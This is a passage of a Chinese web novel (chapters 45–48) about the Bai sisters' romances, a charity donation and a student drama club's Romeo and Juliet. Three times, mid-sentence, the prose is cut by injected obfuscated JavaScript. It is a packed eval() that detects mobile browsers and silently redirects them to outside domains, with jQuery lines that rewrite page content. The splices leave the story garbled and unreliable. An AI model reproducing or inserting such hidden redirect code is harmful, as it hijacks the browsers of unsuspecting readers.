鉴于二人离饭店大门很近了,不是探讨违禁货品的好地方,蒋牧城便微微俯身,凑到白瑾璎耳朵边小声说了两个字。 后者猛然抬头,满脸的不可思议,也知道不好再追问了,只小声说:“你没有不好,这件事,我也不再管了。”蒋牧城便满意地对她一笑。 这一番互动,在谈话的当事人而言可能不觉得如何,可在外人看来,到底显得很亲昵。落入陆续到场的其他来宾眼中,自然也是同样的感受。 45. 第 45 章 作为女伴到场的叶小姐就是如此。 她是听到一点风声,知道蒋牧城受了邀请,便硬是缠着自家堂哥说了一箩筐的好话,这才被带来了交流会,看到这两人凑近了说悄悄话,真是抓心挠肺似的难受。 还不光是这样,她一路观察着,蒋牧城的胳膊不是任由那位小姐挽着,就是松松地护在她腰后,做一个保护的姿态,可不是叫她这个暗地里的仰慕者又惊愕又生气吗? 忍不住拉住堂哥抱怨道:“你瞧呀,蒋先生的手就没离开过她,你什么时候见他对哪位小姐这样过?那人到底是谁?” 叶祖安差点被拉一个踉跄,好笑道:“我确实是没见过他这样,不过听你说的,好像你见过人家许多次似的。让我算算你见过他几次——”说罢,坏笑着开始掰手指,才掰到第二根便停了,口中“啧啧”有声。 叶小姐气得要命,狠狠在他胳膊上拧了一下,两颊飞红道:“见得少有什么要紧,你没听过一句话,叫一见如故吗?哎呀,你不是说他没有女友吗?那么,那位小姐是谁?好哥哥,帮一帮忙,替我打探一下呀!”说着就要把他往外推。 叶祖安本来是兴致缺缺的,就蒋牧城这副冷淡样子,对于自己这个堂妹,就差把“敬谢不敏”四个大字写在脸上了,不过碍于合作关系才没有明说,自己何必去讨个没趣? 然而他望过去的时候,正巧赶上白瑾璎将脸转向这一边,啊呀,那一张柔和清新的面容,一下就印到了心里,兴致也跟着喷薄而出了。 与此同时,白瑾璎刚被蒋牧城带着问候了教育部部长。他倒是很有分寸,对于自己的介绍,只停留在姓名及工作上。而教育部长从前想必是认识白齐盛的,听到白瑾璎的名字后,先是惊讶了一瞬,随即立马和蔼地笑看着她道:“很好,很好,想不到白总长的女儿,都这样大了。你父亲......唉,如今独立的女孩子很不容易哩,往后有什么困难之处,只管和我说就是!” 目光在白瑾璎与蒋牧城之间看过一圈,又着重念了句,“很好,很不坏。” 白瑾璎也不知道他后一句“很好”所指何处,见蒋牧城微笑着接受了,并没有开口的意思,自己也就不好多话,抿着微笑沉默着。只是脸上无端生出热意,一和教育部长告辞,便喊了声“二哥”,借口去盥洗室跑开了。 她前脚一走,后脚叶祖安便凑到蒋牧城身边,嬉笑着问:“我听她喊你二哥,敢问是你哪一个妹妹?堂亲还是表亲?” 蒋牧城当下蹙起眉头,扭头看他时,神色已经恢复如常了,只说:“叶先生,许久不见了。令尊身体怎么样呢?先前好几次在叶家的饭店里接待外宾,令尊都是极力协助的,请一定替我转达谢意。” 叶祖安摆了摆手,心里有点不耐烦,说:“好说好说,老爷子身体早好了,不过是有事抽不开身,才让我代为出席罢了。”视线仍旧追着白瑾璎的身影,往她离开的方向望去,催问道,“我刚才的问题,你还没回答呢,那是你哪一位妹妹?认识你那么久,怎么你也不引荐一下?” 蒋牧城沉沉地呼吸一下,顷刻之间,整个人向外展示的气场就变化了。一改严谨客气又游刃有余的姿态,竟渐渐释放出威压,像是这问题极其不讨他的喜欢,嘴角抿成一道直线,说:“哪个也不是。” 这还有什么不明白的。 叶祖安自诩是有风度的公子哥,当然做不出抢夺别人女友的事,但心里多少有点忿忿不平,既觉得老天爷真是不讲公平,把什么好事美事,都紧着他蒋牧城了;又郁闷道:难怪从没听见过一点风声,原来姓蒋的也知道怀璧其罪,把人藏得完全捂得严实呢! 想想不大甘心,忍不住酸他一句:“哦,原来是情妹——” 被蒋牧城冷冽的眼刀剐过一下,到底把话咽了回去,随便谈过几句后悻悻然走开了。 等在角落的叶小姐一见堂哥回来了,赶紧上去把人截住,嘴里问个不停:“怎么样?怎么样?她是什么人?” 叶祖安正受了不小的打击,哪里还有心情应付她,但转念一想,他们都是得不到爱情的眷顾,岂不是同病相怜?又觉得这小东西也怪可怜的,劝道:“我早让你死心了,她是什么人,你心里不早有答案了吗?唉,你也别太伤心吧,不光是你宣告失败,我刚才也是失败了一场哩!” 另一边,白瑾璎从盥洗室出来后,就碰到了游说来宾做小捐款的年轻办事员。 这也是各大宴会里常有的,因为邀请的客人多,还会请记者过来拍相片写文章,故而总会有一些“朋友的朋友”,靠人脉拿到一份请帖,为初初创办尚未见起色的小公司或资金短缺的学校发起私下的小募捐。 那年轻姑娘怯生生地站着,想必已经碰了不少壁,见白瑾璎实在很面善,这才又鼓足了勇气冲上来的。想不到白瑾璎会问起她们临时小学的位置,又问了平时教些什么,有多少学生,竟问得很仔细,问完了,真就写了一笔两百元的捐款。一下有了成果,她反倒更加手足无措了。 蒋牧城找来的时候,白瑾璎正把写字用的自来水笔还到那年轻老师的手上。 蒋牧城看了眼捐款名册,统共就写了三条,前两条都是二十、四十的小数字,到了白瑾璎,一下便是醒目的两百。好笑道:“你的钱袋子,也太松了点。” 白瑾璎不大服气,反驳道:“你以为人家是骗钱的吗?我都问清楚了,人家是自发办了一个小学,办得很用心呢。这是于社会有利又很高尚的事,既然我有余力,为什么不出一点呢?” 蒋牧城又看了一眼那女老师,见她的衣服鞋子都是半新的,人也是很朴实的气质,也觉得不像骗人。于是先是致歉,又说:“连你都捐款了,我这个办公务的要是无所作为,那太说不过去了。我的余力应当比你多一点,就写四百元吧。” 合计就是六百元钱,可不是天上掉下来的大惊喜!那年轻的姑娘简直有些不可置信,只管愣在原地,直到蒋牧城问她要捐款名册,她才回神。 蒋牧城抽出自来水笔填了一页支票本,又在捐款名册上白瑾璎的下方,对照着写上自己的名字,那一刻,心里真有一种隐秘的快乐,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572798|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捐款大半的意义就在于此了——不夹带别的任何人,只是他们两个同心同德,一道做了件有意义的事。 这一阵快乐,甚至盖过了刚才被叶祖安勾起的烦闷郁气,蒋牧城写完了,自己也没有意识到嘴角又微微地上扬起来,伸出胳膊示意白瑾璎挽上,说:“走吧,我带你去见见那位翻译学家。” 交流会顺利地进行着,叶小姐兀自心碎了一地,想来想去也不甘心,总想冲到那位白小姐面前亲自试探几句,可总也找不到机会。不是蒋牧城在旁边护着她,就是她在和另一位老先生谈话。 叶小姐悄悄打听了一下,那老先生还是个什么文学翻译的教授哩,她自知肚子里没几两墨水,去了也是听天书徒增尴尬,到底皱皱鼻子退缩了。 直到宴会接近尾声,叶祖安拎着她去和蒋牧城碰杯,才总算是打了个正式的照面。近距离当面一瞧,才觉得这白小姐确实是美丽,不光美丽,还有一种楚楚可怜的娇弱,但又全没有矫揉的姿态。心里的酸气儿冒了好一会儿,才勉强承认自己是比她差了一小点点。 可是见都见了,不说句话吗?但彼此也不认识,说什么?想来想去,目光落到了她纤细脖子上的那一挂项链。 叶小姐挤了个笑脸,开口搭讪道:“你小姐的项链好漂亮啊,比市面上寻常的珍珠都要滚圆莹润,不知道是哪里买的?贵不贵?我让我堂哥也给我买一挂!” 旁边叶祖安的视线还是忍不住地往白瑾璎身上黏,此时凑一脚道:“怎么不去找二叔,干嘛要我给你买?不过,白小姐的眼光确实好,尤其项链戴在本人身上,那更是交相辉映。” 白瑾璎愣了一愣,这挂珍珠不是她买的,叶小姐的话她答不上来,叶先生的谬赞她也接不下,下意识就想将求救的视线投向蒋牧城。 白瑾璎面露窘迫没有说话,对面叶小姐也为这一秒的沉默如临大敌,想:怎么白小姐不搭我的腔?我没有问什么很难的问题呀,时下哪位小姐不对自己的首饰如数家珍?难道是不想和我说话?看她的样子,似乎也不像啊,莫不是格外的怕生? 自然了,这千头万绪只发生在短短的几秒之间,蒋牧城很快就接过话来:“是在兴业百货订的舶来品,不过是很多年前买的了,现在是不是还有,那不好说。” 言下之意是:不但这项链是我送的,还是好多年前就送了的,彼此的感情基础经过时间的考验,那可是很坚实的。对叶祖安而言,也未必不是一种嘲讽:想不到吧?你说的眼光好,说的其实是我呢! 说罢,客气地向这对堂兄妹一点头以示告辞,左手由白瑾璎的背后环过,轻扣上她的手臂道:“走吧。”这又是一个极具保护和占有意味的动作。 直到两人走了,叶祖安才终于后知后觉地,吐出了那个堵在嗓子眼的脏字;而叶小姐呢,也是时候把那颗破碎的心收拢收拢,擦擦干净再拼回去了;至于白瑾璎,直等她坐进车里才意识到:啊呀!原来他早认出来我戴的是他送的项链呢! 此时此刻,要说谁的心情最愉快,那恐怕非蒋牧城莫属了。 46. 第 46 章 白瑾璎这天是晚上八点钟回的家,在椿樟街路口被蒋牧城放下车后径自往家里走,想不到正赶上家里的洋车停在36号大门口,看见白瑾琪欢跳着从车上下来。 她下意识看了看天色,已然是墨黑一片了,只街道里几盏路灯像凿开几个小口子,晕出幽幽的黄光来。上去把人拉住道:“你这是出去了整一天吗?怎么这么晚才回来?” 白瑾琪一脸雀跃的喜色,笑道:“二姐,我没有同你说过吗?我们戏剧社最近排演剧目呢,休息日也要匀出一天来排练,我又挑着女主角的大梁,当然练得格外晚些。不过晚也不要紧,大姐姐让家里的车来接我呢!” 白瑾璎这才记起来,似乎是有这么一回事,白瑾琪兴致高昂地描绘过如何如何又叫程巧书铩羽而归之类,不过自己这阵子总是心不在焉,不是在想蒋牧城的事,就是挂心徐克行的事,许多事过了耳就忘了,这样实在不好。 好在家里还有个思虑缜密又周全的白瑾瑜,知道有她派司机去接老三,那一点担心也就消散了,夸道:“你竟是女主角吗?好厉害。什么时候上演?我说什么也要去观摩一番才行。” 有白瑾璎这一番称赞,又想到大姐姐虽然面上不显,到底对自己车接车送的,在这凉飕飕的初秋夜里,白瑾琪竟觉得心里暖烘烘的,直如心满意足的猫咪一般微仰着头。 道:“这有什么难?我虽然只是个演出股,不管票务派发的事,两张门票还是能弄到手的。到时候你和大姐一起来,好好瞧瞧我的本事,要不然,你们还总当我在玩闹混日子哩!” 说着,两人相互挽着手,往家门口慢慢踱去。 白瑾琪自认在演出一事上受到了鼓舞,一夜好眠后,第二天仍是满心欢喜,去礼堂排练时,对谁都是面带三分笑,引得郑家树都频频去看她。 可想而知程巧书有多不痛快。先前分派角色时,她也是卖力非常,怎奈有高年级的学姐们压在头上,最终只分得一个母亲辈份的妇人角色。演吧,就要故意往年长了来化妆,怎能愿意?不演吧,那就连排练都没得参加了,何谈让郑学长记住自己呢? 试探来打听去,最终还是向一位学姐许了两件时髦头饰做好处,才换到了一个年轻小姐的边角角色,负责和其他小姐们议论议论贵族之间的流言和男女主角的蜚语。 那也不错了,既能借排练的机会往郑家树眼前凑,也不必把自己画老画丑,台词戏份少,还有时间和戏剧社其他学姐打打交道,笼络人心。就她知道的,因为白瑾琪这个新成员和社长搭戏的缘故,已经有许多学姐暗地不满了。 那边白瑾琪和郑家树走戏走得顺畅,两人一个娇俏活泼一个丰神俊朗,本来就是芳心摇荡的少男少女,四目相对之间,真有一种半遮掩半袒露的热烈情绪通过眼神流动着。又因为白瑾琪打着要气死程巧书的主意,不拘郑家树是冲她微笑还是搭话,她都照单全收,殷切回应。 互诉衷肠的一幕演过一遍后,副社长胡小梦喊了暂停,和几个文书股商量起如何改台词来。改过之后,势必还要再演一遍的,郑家树便有意没有放开拉着白瑾琪的手,后者也不在意,随他拉着。 反倒是程巧书眼热非常,忍不住道:“咦?怎么戏演完了,手还牵着呢?”她心里虽然嫉妒,开口却是轻飘飘的,仅仅像是说出一个不寻常的发现,反倒引得其他姑娘们都去看两人交握的手了。 白瑾琪这才后知后觉地扫了程巧书一眼,见她死死盯着自己被握着的手,只差把妒恨两个字写在脸上了,心里嗤笑道:哈!瞧她这样子,大概恨不得我手腕以下这双手,是长在她自己身上的吧! 手腕活络两下挣脱开,冲郑家树歉意地一笑,说:“抱歉抱歉,学长怎么也不松开我?我这个新手初初学演戏,常常沉浸在场景里出不来呢。” 郑家树从善如流地松开手,却不作答。不过单冲他这张俊脸,姑娘们也不会苛责他,只会把火气撒在另一个人身上罢了。果然,其中一个鄙夷了一句:“拉拉扯扯,真不要脸!” 那说话声也不大,想必忍一时之气,对方也不会穷追猛打的,偏偏白瑾琪最不能受的就是气,当下故作天真地拿起台本看了眼,追着她高声道:“咦?我在这里不能拉手吗?剧本上明明写着两手交握呀,还是学姐觉得这里不拉手更好呢?学姐在表演上的经验肯定比我足,我很愿意听听学姐的指教呢!” 又扭过头,故意对郑家树问道:“郑学长,你怎么看?要说演戏的经验,恐怕没人比得过你啦。” 郑家树只是冲她狡黠地一笑,似乎早已看穿她装巧卖乖的把戏一般。白瑾琪也不怵他,看穿就看穿,横竖女主角已选定了是她,把她气得撂担子不干,难道他就有好果子吃吗?毫不怯弱地冲他笑了回去。 倒是台下女社员们窸窸窣窣的议论声引起了胡小梦的注意,拧着眉头从纸页上抬起头来,喊道:“吵什么?吵什么?!” 女学生们你看我我看你,互相推诿着,把那个最早挑刺的推了出来。那姑娘见那么多人盯着自己,又是难堪又是不服,嘟囔道:“我说错了吗?排练而已,手拉上就不放了,也是郑学长脾气好......”说到后头,声音越发放低了。 白瑾琪真给气笑了,心说就是家里大姐偏心二姐,也没有像这样偏到天边去。 脸上却很谦逊,说:“学姐的意思,是不是主人公在这里不要拉手为好?学姐见不得朱丽叶和人拉拉扯扯呢,觉得不够高贵端庄,是不是?怎么演好?我是很愿意配合的。” 胡小梦闻言,两根眉毛简直要竖起来,怒道:“爱情戏不拉手,还叫什么爱情戏?不如改做朗诵好了!张悦,你是头一次排戏吗?拉手都见不得?这么迂,我还当你裹着小脚呢!” 这两句话掷地有声,于是一众人立刻又见风使舵地捧起胡小梦来。 一说,“就是这个道理呀,凡追求艺术的,抛头露面是常事。这不行那不行的,倒显得做作。”又说,“是呀,拉个手而已,我看现在的新电影,不说拉手,亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596962|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴都有呢!真是少见多怪,刚才谁提到拉手的?” 张悦被当众训了一顿,臊得眼泪都在眼眶里打转,猛一听见有人提到始作俑者,赶忙救命稻草一般抓着不放,说:“程同学,你是头一个指出的人,想必心里也觉得不妥吧?请你评评理,我,我真是冤枉死了!” 这一下,所有人的目光又都看向程巧书了。 程巧书心里又急又恼,背上都起了层薄汗。她刚见识过胡小梦的激烈态度,可不敢踩这一颗雷,涨红了脸才憋出一句说辞:“我没有觉得不妥,就是觉得,既然是拿外国故事做改编,体现一点中国的含蓄之美,岂不是更好?”说罢,硬是挤出一点微笑在脸上。 这次不等胡小梦说话,旁边的文书股就先不服气了,推着鼻梁上的眼镜道:“拉一拉手,怎么不含蓄呢?诗词里还有写‘执子之手,与子偕老''的呢。我们在编写的时候,可是下足了功夫考据的!” 胡小梦也跟着叹口气,揉着眉头道:“你是个门外汉,我就给你讲讲。舞台表演的台词声音固然重要,可要是没有动作,那就是两根会说话的木头桩子杵在台上,有什么可看的?所以非但要有动作,且这动作要越大越饱满才好,你想,星月剧场那样大的场子,你这边动作小了,坐在后排的人能看见什么?人家瞧着只觉得你鬼鬼祟祟呢!” 对着一众社员正色道:“诸位加入戏剧社至今,对戏剧总也有些热爱和专业精神吧?好容易要粉墨登场了,就让人家看一出错漏百出的戏码吗?说出去清江大学的戏剧社名不副实,诸位脸上就好看了?唉,既然决定了来参演,更应该齐心协力,把这幕剧演好才是啊!” 至此,底下安静一片,女学生们无不是面带惭愧,歇下了滋事吵闹的心。如此情形之下,程巧书也只能不吱声了。 白瑾琪倒是被胡小梦的一番发言刺激得豪情万丈起来,心想:大姐姐二姐姐想来挺支持我在戏剧社活跃,又有如此刚正不阿的“戏痴”社长保驾护航,好哇,我还愁不能在舞台上大展拳脚吗! 于是排练完后照旧去胡小梦那儿,借请教之名行卖乖之实,末了还问她讨要两张门票。 胡小梦却少见的面露一点难色,说:“我管文书股和演出股,可票务是交际股的事,我给你问一问,可不敢打保票。” 白瑾琪心想,这可怎么好,我可是已经给家里两个姐姐打了保票了呀!正想再撒一撒娇,忽听背后一个声音道:“你怎么不问问交际股归谁管呢?白同学,你是拜错真神了。” 原来是郑家树背着手站在她身后,看那一脸骄矜自得,可见所谓的“真神”正是他本人了。 白瑾琪也不扭捏,立刻笑脸相迎道:“郑学长,帮帮忙。你瞧,你演罗密欧我演朱丽叶,这交情可不浅呀,区区两张演出门票,还不能通融一二吗?”双手合十,抵在桃心脸尖尖的下巴上,拜了一拜。 至此,两张门票到手。当然,这门票没能请到白瑾璎,倒是请来了另一尊大佛,这就是后话了。 47. 第 47 章 清江大学虽于学术上建树平平,但戏剧社的发展确实不容小觑。内有胡小梦这个“戏痴”坐镇,外有郑家树带头动员交际,这出新式话剧在星河剧场演出的当天,观众竟是络绎不绝,里头更不乏几位社会名流。 白瑾琪已经换好了戏服,人虽站在后台,却从厚重的帷幕后探出头来期盼地张望。 只见入场的观众有男有女,大多穿得得体考究,太太小姐们更是如此了,不拘是旗袍还是洋装,总之个个衣香鬓影。白瑾瑜和白瑾璎在哪儿呢?不是她爱夸口,自己这两个姐姐,一个明艳夺目一个秀美绝伦,随便哪一个往人群里一站,都是吸人眼球的存在,更遑论是两个人一道出现了。到时候和人一说是专程来看她的,那多么长脸! 黑葡萄似的一对眼珠透着浅浅的得意,滴溜溜转了一圈——啊呀!来了! 怪道她一打眼没有瞧见呢,原来白瑾瑜今天没穿洋装,倒穿了一身绣玉兰花的新式旗袍,颜色也浅淡,硬是把她明艳逼人的气度往下压了几分,但掩盖不住她神采奕奕又明眸皓齿,仍旧是人群里出类拔萃的一颗明珠。 白瑾琪在心里一瘪嘴,暗道:平日赴宴会时那样珠光宝气,怎么今天倒低调起来?哼,虽然这样也不差...... 继而把目光往旁边移,这一看倒吃了一惊,白瑾瑜旁边分明站着个男人哩!哪里有白瑾璎的影子? 再定睛一看,又觉得那男的格外眼熟,倒像是在哪里见过似的——咦!对对对!是那次香山上庆祝二姐姐升学的小聚会呀!只记得介绍时说是她前姐夫——呸!那姓柳的顶头上司,连自家大姐姐都待他格外客气,可见是个厉害人物,想不到大姐姐不但同他有来往,还能请动他纡尊降贵来看一个小小社团举办的公益演出,这交情不大浅哩! 兀自胡乱猜想着,忽听背后有人问:“女主角呢?女主角呢?” 原来是胡小梦到处找她,拉了她的胳膊就往后台深处的化妆间走,一面说:“我的小祖宗,妆还没有化完,你乱跑什么?快快快!把眉毛描一描,胭脂和口红都要多上一些,不然台上灯光一打,舞台底下还能看出什么?” 白瑾琪的人虽被按在梳妆镜前不能动弹,两只耳朵却伸得老长,还有一群女学生扒拉着帷幕偷看呢,这个先生是谁哪位太太有钱,你一言我一语的八卦直往她耳朵里灌。 忽而有人惊叹道:“诶!你瞧那人——坐在第三排的那位先生,瞧那身量,那气派,真俊!交际股在哪儿?快去问问那是谁!” 立马有人激动道:“不必去问交际股,我知道!那是和平造船厂和兴安船运公司的孟先生哩!告诉你吧,我家里一个叔叔是造船厂的工程师,从前常和他一起开会,对他赞不绝口呢!” 一时间似乎有人不信:“真的?他瞧着很年轻呀,真有这么大能耐?别是认错人了吧?” 想不到郑家树换完了装恰好路过,也探头瞧了一眼,接话道:“错不了,是他。我父亲也和兴安船运谈了合作,还专门设宴席款待过他,待他很是恭敬客气。” 众人虽不大清楚郑家树家里具体干的什么,但看他平日里穿戴不俗,出手也很大方,时不时会在社里请个小客,也知道郑家是做大生意的富户,当下就相信了十成十。 惊叹道:“啊呀!咱们的交际股不得了呀,竟请来一个大人物!到时候报纸上写一写,说孟公子莅临星河剧场观摩新话剧,我们岂不是大获成功?” 白瑾琪一边听,一边得意道:哪里是交际股请来的,分明是我大姐姐把人带来的,可我大姐姐的票又是哪儿来的呢?说到底,那人算是我间接请来的哩! 越想越得意,连白瑾璎为什么没来也暂且不管了,刚想开口自夸一句,却被人转了转下巴,“对对,把嘴唇张开一点,我给你抹口红呢。” 嘴唇半张着不能动,那句话也只好先咽回肚子里去。 那边白瑾琪收了魂,这边七嘴八舌的议论却没结束,一群女学生从孟先生说到了孟先生旁边的女伴身上,“那一准是他女朋友,我看得真真的,从入场开始他们就走在一起。唉,优秀的先生可早早就被人抢走了。” 也有人不大服气,“未必吧?如今社交公开了,男男女女一道出来顽顽的也不少,充其量就是个朋友,哪里看出来是女朋友了?” 她们七嘴八舌说个不停,程巧书却是认出来了:孟先生旁边这个穿天青色旗袍的女伴,不正是白瑾琪的姐姐白瑾瑜吗! 说起来,她和白瑾琪真算是“宿敌”了,从中学开始便较上了劲。她表面上做出瞧不上白瑾琪这个脑袋空空的“草包美人”的不屑模样,背地里却格外在意她的一举一动,生怕自己被她比下去太多。是以白瑾琪的两个姐姐长什么模样,她当然知道。 本来白总长事故身亡,白家式微,她正大感快慰呢,此刻看到台下的二人,心里的危机感又生生给吊了起来。 仔细回想,仿佛老早之前钱瑞芝两姐妹就吹嘘过,说受邀参加了白家老二在香山办的庆祝宴,席间还有两位先生来恭贺,一个姓柳,另一个就姓孟。若果真是台下这位孟先生,这都多少年了,即便只是普通朋友,交情也不浅了。 呵,都说“百足之虫死而不僵”,可见即便没了父亲,白家的人脉还是不少。是了是了,除了这个孟先生,白家不是还有个交情很深的世伯吗?恍惚记得是在总统府任...... 程巧书顿时倒吸一口气,庆幸自己多想了一层:她父亲不过在交通部任处长,要是真惹翻了白瑾琪,让她哭到世伯那儿去,自己真能跟她硬碰硬吗?看来,往后可不能把“敌对”的身份挂在明面上,人前冷嘲热讽或是奚落那一套,也要改一改了。真想要白瑾琪好看,还是得找准机会一击制胜,叫她没得还手才好。白瑾琪轻狂张扬的本性难移,还怕抓不住她的小辫子吗? 这样想着,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612391|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声不响地,默默退到了人群的后方。 帷幕一阖,多少流言与心思都被掩藏其后;帷幕一开,亮堂堂的舞台上,好戏也就上演了。 因为白瑾瑜坐在台下的缘故,白瑾琪打起了十二分的精神,有意要在这个不大关注自己的大姐姐面前表现一回,不拘是台词还是动作,都演得格外卖力。其间太过投入,以至于都忘了分心去看一眼白瑾瑜的反应。 好不容易等到了和男主角互诉衷情的一幕,白瑾琪借着面向观众席说台词的当口,飞快地向第三排瞥去一眼。 只见白瑾瑜靠在椅背上以手支颐,脸上面无表情,不说与有荣焉,竟是一副百无聊赖的姿态哩! 这是嫌我演得不好吗!白瑾琪心里登时火冒三丈,借着那直冲脑门的怒气,再想一想陈芳藻撇下她不管的那一份委屈,眼圈儿顿时就红了。拉着郑家树的手直演得声泪俱下,倒把后台控场的胡小梦看得一阵阵激动。 舞台下,反倒是被临时拉来的孟西洲看得津津有味,觉得一群半大不小的学生在台上又是哭又是笑,一会儿咬牙切齿一会儿又感叹爱情的样子,别有一番看乐子的趣味。 再看旁边的白瑾瑜,见她始终木着一张脸,时不时还困惑地皱眉,显示出不大赞同的神色,便趁幕间休息时,近近的凑过去问:“不有趣吗?我看你妹妹演得不坏呢。” 白瑾瑜瞅了他一眼,考虑到剧场里安静的氛围,也就默许了他近乎于无的距离,小声道:“腻腻歪歪的爱情剧,我不爱看。” 再说回台上,男女主角已然双双殉情,考虑到中国人一贯爱圆满的审美,戏剧社的文书股们特意加了最后“天堂团聚”的一幕,一来切合美满,二来显示创新。 白瑾琪之前哭得狠了,眼圈鼻尖和脸颊都是红扑扑的,在后台补了点香粉,倒像是从白皙的皮肤里沁出一层动人的红晕。满怀喜悦地,奔向舞台另一边的郑家树。 郑家树也不知是被她感染得入戏太深,还是从来就觉得她伶俐活泼,此刻又受到了她灵气四溢的演技震撼,倾慕更加深一层,看着白瑾琪,真觉得她像撞进自己怀里的精灵一般,可爱得叫人舍不得放手。 于是形随心动,原本不过是彼此相拥的戏码,郑家树搂上白瑾琪后,竟抱起她原地转了个圈,将那失而复得的喜悦,演了个十成十。 台下似乎传来浅浅的惊呼,随着帷幕落下,观众席在一秒钟的静默后,爆发出如雷的掌声。不光是观众,连站在后台的演员们都是掌声连连,胡小梦已激动地哭了,一看见白瑾琪下场,便冲上前抱着她道:“演得好!演得好!之前多少次彩排,都不能和今天这一场相提并论!” 她这一抱就不撒手,白瑾琪嘴上说着“不敢当”,心里却急着想去后台卸妆换衣。 既然是公益演出,戏演完了,就该让到场的观众募捐了。她可着急想去看一眼募捐簿,瞧瞧大姐姐为了她肯捐多少呢! 48. 第 48 章 募捐簿在观众席上传阅了大半圈,最终连同自来水笔放到了舞台旁边的小圆桌上,要是还有哪一位想献点爱心,自可以来写一笔。 白瑾琪换了衣裳从后台溜出来时,到底瞄到一眼,那之后就有点怏怏不乐,找到白瑾瑜后先就问:“二姐姐怎么没来呢?”心里胡乱腹诽:不要是这个孟先生身份高,就把二姐姐的门票挤占了吧?二姐姐那么好性子,肯定抢不过他。 白瑾瑜说:“本来要来的,衣服都换好了。但你知道这两天正是各中学的期中考试,今天本不必她监考,但同办公室一个老师临时要陪孩子去医院,只能由她顶上了。” 见她憋着嘴,便作势在她下巴上拧了一下,“你有什么不满意的?不高兴我请孟先生来吗?” 这是要祸水东引哇!白瑾琪瞅了瞅站在旁边的孟西洲,后者倒像是还记得她似的,点了点头以示问候。他表现得那么友好,自己哪里还说得出半句坏话? 于是拉了拉白瑾瑜的袖子,把人带远一点,才嘟囔着说:“我刚刚瞧见捐款簿了,你写了一百元,程巧书的爸爸可写了三百元呢......” 其实论金额,程巧书也不算独占鳌头,譬如郑家树的亲属虽未出席,但也代捐了三百元,可郑家树捐多捐少关她什么事?被程巧书压下一头,才怪叫人不服气的。 白瑾瑜又是好气又是好笑,心道,这是嫌她捐得少了?伸出手指往桃心脸的脑门儿上戳了一下,说:“你们这种公益汇演,募得的钱款大概会用去哪里,我就不说了。还要我再白出两百块给你充门面吗?我又不傻。有这两百块,给你买几件新衣服新皮鞋,不好吗?” 白瑾琪本来还嘟着嘴的,听到这话又收了回去,抬着乌溜溜的眼睛问:“真给我买新衣服吗?” 白瑾瑜这下只剩下好笑了,一连说了好几句“买”,才算把这个小东西给哄住。 自己的事谈妥了,白瑾琪才肯把多余的心思分给别人,用眼神示意一下不远处的孟西洲,暗戳戳问道:“那——这就是我新姐夫了?” 白瑾瑜笑了一声,并没有承认,只说:“你只记着我是你姐姐就行,至于哪一个是你姐夫,有什么要紧?” 白瑾琪吃了一惊,又偷看孟西洲一眼,心道:单看脸,这个姓孟的确实比前头姓柳的稍逊一筹,可通身的风度气派可胜过太多啦,就这样的,大姐姐还不满意吗? 可转念又觉得,姓柳的当初甩开我姐的时候,不就是料定她找不到更好的么?瞧瞧现在!更好的还要等着考核甄选呢!顿时又觉得出了一口心里的恶气,看白瑾瑜的目光都带上了一点崇敬。 又说了两句,后台戏剧社的成员来叫人,白瑾琪才讪笑了两声,说:“那你们就先回吧,演出顺利结束,我们还要去庆功呢。”说定了八点前一定回家,便小鹿似的跑远了。 孟西洲虽远远地站着,注意力却时刻放在她二人身上,见白瑾琪跑开了,当即便施施然走过来,问:“你们说我什么呢?” 白瑾瑜把他凑近的脸推开一点,笑道:“我们为什么要说你?我们在说今天的小捐款呢。那小东西,年纪不大,虚荣心倒不小,还指望我当一回冤大头呢。”听着不算好话,口吻中却带着格外的纵容。 孟西洲心道:你口中的小东西中途往我这儿看了好几回,怎么不是在说我?不过见白瑾瑜笑吟吟的样子,也就心照不宣似的,不再追问了。 同一时刻,白瑾瑜心里也自有思量,心想:总听人说,谈爱情也要讲天时地利人和,从前没工夫细想,现在倒觉得这话说得不错。 譬如她和柳世新交往的时候,且不说人和怎么样,光是天时和地利,就一样也没占着。 柳世新刚在船贸公司谋了份职业,她自己又四处奔走忙于开店,尤其是她,回国后的头两年几乎过得脚不沾地,不是去英国看货,就是去上海广州勘察市场,不要说培养感情,一年里能有三四次见面的机会,已是不容易了。可设若要她为了多见面而放松事业呢?那是万万做不到的。 如此土壤,又如何能长出爱情之花?可见她和柳世新,本来就是有缘无分,想通这一点,心里更是豁然一亮。 